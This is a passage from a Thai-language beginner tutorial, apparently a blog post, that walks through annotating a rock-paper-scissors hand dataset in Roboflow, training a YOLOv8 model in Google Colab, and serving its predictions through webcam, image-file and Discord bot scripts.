ความจริงไม่เป็นเช่นนั้น เพราะข้อมูลที่ประกอบกับภาพมันจะมีสิ่งที่เรียกว่า annotation อยู่ด้วย ในทางกลับกัน เมื่อเราใส่ข้อมูลปลอม หรือภาพที่ไม่มีมือ เราก็ไม่ต้องใส่ annotation ลงไป (AI มันจะรู้เองว่าในภาพ มันไม่มีเป้าหมาย)

อีกประเด็นสุดท้าย! ผมขออธิบายเกี่ยวกับ overfitting model

Overfitting model สั้นคือ ความอคติของโมเดลที่เราเทรน ยังไม่เห็นภาพล่ะสิ!..

ขอยก case study อันนึง เรื่องมีอยู่ว่า นาย A ได้การบ้านให้ไปสร้าง AI ที่สามารถตรวจจับคนได้ นาย A เลยหา dataset ที่เป็นภาพตัวเองกำลังยืนในห้อง

นาย A ใช้แค่ข้อมูลภาพที่เป็นภาพของตัวเองอย่างเดียว เป็นภาพที่เป็น background เดิม และเสื้อตัวเดิม.. หลัง train ให้ model เสร็จ ผลลัพธ์คือมันสามารถ detect นาย A ได้อย่างแม่นยำ

วันต่อมา.. นาย A เอา AI ที่ภาคภูมิใจไปนำเสนอ.. แต่! แต่!! ทำไมAI ที่ Train มา กลับไม่ Detect อะไรเลย !! ทำไมกันล่ะ?!

นั่นเป็นเพราะว่าสิ่งที่นาย A ได้ train ไปเป็นข้อมูลที่ไม่มีความหลากหลาย และเจาะจงจนเกินไป จน model AI มัน detect เฉพาะคนที่ใส่เสื้อ,กางเกงที่นาย A ใส่เมื่อวาน และ background เป็นห้องที่นาย A ได้ถ่ายเท่านั้น ( เห็นๆเลยว่า AI มันอคติกับข้อมูล )

จบเรื่องของการ gather images แล้ว มาต่อ annotation กันดีกว่า !! 👈(ﾟヮﾟ👈)

อย่างที่บอกไปว่ามันคือการระบุตำแหน่งของ object ในภาพ

แล้วมันทำยังไงล่ะ ?

ง่ายมากๆ!! ก็แค่ลากกรอบ 4 เหลี่ยมครอบ object

ซึ่งการทำ annotation นั้นไม่ได้เป็นเพียงแค่ลากกรอบนะ! แต่เราต้องบันทึกตำแหน่ง x1,y1,x2,y2 ด้วย (ตำแหน่งกรอบของมุมบนซ้ายและล่างขวา) และจดบันทึกข้างหน้าตำแหน่งด้วยว่าอยู่ Class ไหน เช่น Class 0= rock, 1 = paper, 2 = scissors

เช่น 146 225 502 575 0 (146, 225) ตำแหน่ง x,y ที่ระบุตำแหน่งของมุมซ้ายบนของกรอบ (502, 575) เหมือนกัน แต่เป็นขวาล่าง 0 คือ Variable ของ class นั่นก็คือ rock

ซึ่งความจริงลักษณะการ format เก็บข้อมูลสำหรับใช้งาน ก็จะแตกต่างกันไปแล้วแต่ว่าจะใช้กับ library ไหน ถ้าใช้กับ YOLO ก็จะเป็นอีก format นึง

1 0.6703125 0.62421875 0.11015625 0.190625 1 0.4625 0.83046875 0.10625 0.1828125 (Example YOLO format)

ถ้าเราจะทำเองมันก็เหนื่อยเอาเรื่องเลยล่ะ

เลยมี website ที่จะช่วยให้เราลากกรอบและบันทึกข้อมูลและ format ให้อัตโนมัติ ที่ชอบมากๆคือสามารถ Export เป็น format ไหนก็ได้ที่เราต้องการใช้ ที่เราจะใช้คือ YOLOv8 เพราะเราจะใช้มันเทรนด้วย Library YOLO นั่นเองง

เว็บไซต์นั้นคืออออออ….

Roboflow

[Sign in to Roboflow

Even if you're not a machine learning expert, you can use Roboflow train a custom, state-of-the-art computer vision…

app.roboflow.com](https://app.roboflow.com/?source=post_page-----7a169452d4ed---------------------------------------)

รออะไรกัน เริ่มกันเลย !!

Click project > new project

ตั้งชื่อ project name, annotation group ส่วน license ตามใจชอบเลย กด > create public project

upload รูปภาพเราเลย (ผมขอยกตัวอย่างแค่รูปเดียวนะ.. ขี้เกียจ5555)

จากนั้นไปแถบ Annotate > Annotate Images > Start Labeling > Assign to myself แล้วกลับไปเมนู Annotate อีกครั้ง

กด Start Annotating ที่มุมบนขวา

ให้ลากกรอบแล้วระบุ class ว่าเป็นอะไร

ถ้าเสร็จแล้ว กดย้อนกลับเลย และกด Add image to dataset ตรงมุมเดิมเลย (ในเมนู Annotate ที่เดิมที่เรามา)

ไปที่เมนู Versions

ตอนนี้ให้เราทำการตั้งค่าไฟล์ dataset ของเรา

อย่าพึ่ง งง นะ! เดี๋ยวเฮียจะอธิบายสั้นๆให้ก่อน ส่วนละเอียดๆ จะอยู่หลังสั้นๆ 😏

Source Images: เลือกรูปที่จะนำเข้า

Train/ Test Split: แบ่งชุดข้อมูล

Preprocessing: แปลงรูปให้เหมาะกับการเข้าโมเดล AI

Augmentation: จำลองสถานการณ์ภาพด้วยการดัดแปลงภาพ

มา !! ได้เวลาอธิบายแบบละเอียด แบบสบายยยๆ~~~~

รู้วิธีการสร้าง dataset กันแล้ว เรามารู้ข้างในกันบ้างดีกว่า ;-)

ข้อมูลที่จะสอน AI หรือ model นั้นประกอบด้วย train set, valid set, test set

train set มีไว้สอน valid set มีไว้ทดสอบระหว่างสอน test set มีไว้ทดสอบ model เพื่อที่เราจะได้รู้ว่าโมเดลมีความแม่นยำแค่ไหน

แล้วข้อมูลชุดสอนและสอบมันจำเป็นต้องมีการปรับขนาดภาพให้เหมาะสมกับโมเดล เช่น การ resize, grayscale, normalization (ปรับค่าพิกเซลให้อยู่ในช่วง 0–1 เพื่อช่วยให้ AI เรียนรู้ดีขึ้น) อันนี้ก็แล้วแต่เลยในส่วนของ preprocessing

ต่อมา augmentation ก็คือจำลองสถานการณ์ภาพ เช่น ทำให้ภาพเบลอ ภาพแตก เวลาได้ dataset มาก็จะมีภาพที่มีสถานการณ์ต่างๆมาให้ model เรียนรู้ (ภาพนึงใส่ 3 augmentation ก็จะได้เพิ่มอีก 3 ภาพที่มีสถานการณ์ที่เราเลือก)

Create !!

จากนั้นกด download dataset เลยค้าบเฮีย

เลือก Format YOLOv8

สามารถโหลดโดยการ run code หรือ bash ก็ได้ ถ้ากลัว error ก็ Raw URL หรือ กดปุ่ม “Copy Snippet and Open Notebook” เลยย

ถ้ารันใน vscode บางครั้งอาจ error เพราะไม่ได้ติดตั้ง library เราจะหนีปัญหาโดยการใช้ Google colab เลยละกัน55555

จะว่าไปก็ไม่เชิงหนีหรอก เพราะเป็นการแก้ปัญหาสเปคคอมไม่แรงด้วย เพราะการเทรนต้องใช้ cpu หรือ gpu เลย ซึ่ง Google colab ให้เราใช้ gpu ของทางเขาได้ฟรีๆเลย ขอเพียงแค่มีเน็ต :-D

ไปที่ website Google colab

[colab.google

Colab is a hosted Jupyter Notebook service that requires no setup to use and provides free access to computing…

colab.google](https://colab.google/?source=post_page-----7a169452d4ed---------------------------------------)

กด new notebook แล้วเริ่มกัน

run code ที่ได้มา โค้ดนี้จะเป็นการติดตั้ง dataset ที่เราสร้าง

จากนั้นให้เริ่ม train เลย

from ultralytics import YOLO
model = YOLO('yolov8n.pt')
model.train(data='./YOUR_FILE_NAME/data.yaml', epochs=30, imgsz=640)

บอกไว้ก่อนเลยนะว่าต้องมีข้อมูล train, valid , test ไม่งั้น error แหงๆ

epochs คือจำนวนรอบที่จะเทรน ยิ่งเยอะค่า loss ก็ยิ่งต่ำ แต่เวลาเทรนก็สูงเพิ่มขึ้น

imgsz คือขนาดภาพ ในที่นี้คือ 640px

ของผม train ไว้แล้วซึ่งเป็นคนละ dataset ตะกี้คือยกตัวอย่าง

บอกเลย ตอนเทรนนี่ได้นอนยาววว เพราะมันนาน ขึ้นอยู่กับขนาด dataset และ epochs

เมื่อ train เสร็จก็จะได้ folder พวกนี้มา (ผม train ใน vscode หน้าตาก็จะแตกต่างกันหน่อย)

best.pt คือไฟล์ weight ที่พร้อมที่จะใช้งาน

เราสามารถลองเล่นโดยใช้กล้องของเราก็ได้นะ! อ่ะนี่โค้ด!!

import cv2
from ultralytics import YOLO
# ใช้ไฟล์ weight ที่ผ่านการ train เพื่อนำมา predict
model = YOLO('runs/detect/train/weights/best.pt')
# ใช้กล้องโดยระบุตัวที่ 0 ก็คือ webcam ของเรา
cap = cv2.VideoCapture(0)
while True:
    ret, frame = cap.read() # capture frame by frame
    if not ret: # ถ้าไม่พบให้ปิด
        break
    results = model(frame) # เมื่อได้ frame ให้นำไปวิเคราะห์ด้วย model
    annotated_frame = results[0].plot() # วาดกรอบลงไปบนภาพ
    cv2.imshow("What the hand?", annotated_frame) # ตั้งชื่อจอ
    
    # กด q เพื่อหยุดการทำงาน
    if cv2.waitKey(1) & 0xFF == ord("q"):
        break
cap.release()
cv2.destroyAllWindows()

หรือจะให้มันอ่านไฟล์ภาพแล้วแสดงผลเอาก็ได้เหมือนกัน

import cv2
from ultralytics import YOLO
model = YOLO('runs/detect/train/weights/best.pt')
image_path = './testingmymodel.jpg'
img = cv2.imread(image_path) # อ่านไฟล์ภาพ
# เก็บ output ไว้ที่ตัวแปร results output บอกว่าเป็น class อะไรและอยู่ตำแหน่งไหน
results = model(img, verbose=False)[0]
print(results.boxes) # print มาดูเฉยๆ555
for box in results.boxes:
    x1, y1, x2, y2 = map(int, box.xyxy[0]) # เก็บตำแหน่งมุมบนซ้ายและล่างขวาไว้วาดกรอบ
    cls = int(box.cls[0]) # เก็บตัวแปร class
    conf = float(box.conf[0]) # ตัวแปร confident (ความมั่นใจของ model)
    label = f"{model.names[cls]} ({conf:.2f})" # text ที่จะเขียนบนกรอบ
    cv2.rectangle(img, (x1, y1), (x2, y2), (0, 255, 0), 2) # วาดกรอบ
    # ใส่ข้อความบนภาพ
    cv2.putText(img, f"Beep! Beep!: {label}", (x1, y1 - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.6, (0, 255, 0), 2)
cv2.imshow("Detection Result", img)
cv2.waitKey(0)
cv2.destroyAllWindows()
# cv2.imwrite("result.jpg", img)

บรรทัดล่างสุดคือเซฟไฟล์ ผม comment ไว้เผื่อคนที่อยากรันแล้วไม่อยากเซฟไฟล์

ถึงขั้นตอนสุดท้ายแล้ววว เมื่อเราทดสอบว่า model ของเราฉลาดมากน้อย อย่างสุดท้ายก็คือการ deploy ไปที่ discord bot 🎉

นี่คือโค้ดที่ใช้กับ discord bot :

import discord
from discord.ext import commands
import aiosqlite
import cv2
from ultralytics import YOLO
import os
import asyncio
intents = discord.Intents.default()
intents.message_content = True
bot = commands.Bot(command_prefix='!', intents=intents)
# แสดง status ของบอท
@bot.event
async def on_ready():
    print(f"{bot.user} is working :-D")
# หน้าที่ของบอท
@bot.event
async def on_message(message):
    # ข้าม message ของตัวบอทเอง
    if message.author == bot.user:
        return
    
    # ถ้าเจอข้อความ
    if message.attachments:
        for attachment in message.attachments:
            # ถ้าข้อความเป็น type image
            if attachment.content_type.startswith("image/"):
                
                img_bytes = await attachment.read() # อ่าน bytes ของภาพ
                filename = f"received_{attachment.filename}" # สร้างไฟล์ใหม่สำหรับใส่ภาพใหม่
                with open(filename, "wb") as f: 
                    f.write(img_bytes) # เอา bytes มาใส่ในไฟล์ภาพที่พึ่งสร้างใหม่ (คล้ายกับการโหลดไฟล์แต่ดีกว่า download ตรงๆ)
                await message.channel.send("Processing...")
                # Start predict
                model = YOLO('weights/best.pt')
                img = cv2.imread(filename)
                results = model(img, verbose=False)[0]
                print(results.boxes)
                for box in results.boxes:
                    x1, y1, x2, y2 = map(int, box.xyxy[0])
                    cls = int(box.cls[0])
                    conf = float(box.conf[0])
                    label = f"{model.names[cls]} ({conf:.2f})"
                    cv2.rectangle(img, (x1, y1), (x2, y2), (0, 255, 0), 2)
                    cv2.putText(img, f"Beep! Beep!: {label}", (x1, y1 - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.6, (0, 255, 0), 2)
                cv2.imwrite(f"result_{filename}.jpg", img) # SAVE OUTPUT
                # ส่งภาพใน chat และลบไฟล์ทั้งหมดออกไปเพื่อ clear memory
                await message.channel.send(file=discord.File(f"result_{filename}.jpg"))
                os.remove(f"result_{filename}.jpg")
                os.remove(filename)
                return
  
    await bot.process_commands(message)
# ใส่ token เด้อ เดี๋ยวบอทไม่ทำงาน
bot.run(" CHANGE THIS TO YOUR BOT TOKEN :-D ")

หรือทุกคนสามารถไปดูที่ Github ของผมได้นะ ผมอธิบายวิธีการใช้ไว้แล้ว

[GitHub - ShoIsMyName/Discord-AI-bot-Image-detection: This Discord AI bot will read all the images…

This Discord AI bot will read all the images in chat and predict whether the hand in the image is a hammer, paper, or…

github.com](https://github.com/ShoIsMyName/Discord-AI-bot-Image-detection?source=post_page-----7a169452d4ed---------------------------------------)

สุดท้ายนี้ขอบคุณทุกคนที่เข้ามาอ่านนะครับ กู๊ดดบายยเฮียยย!!~~~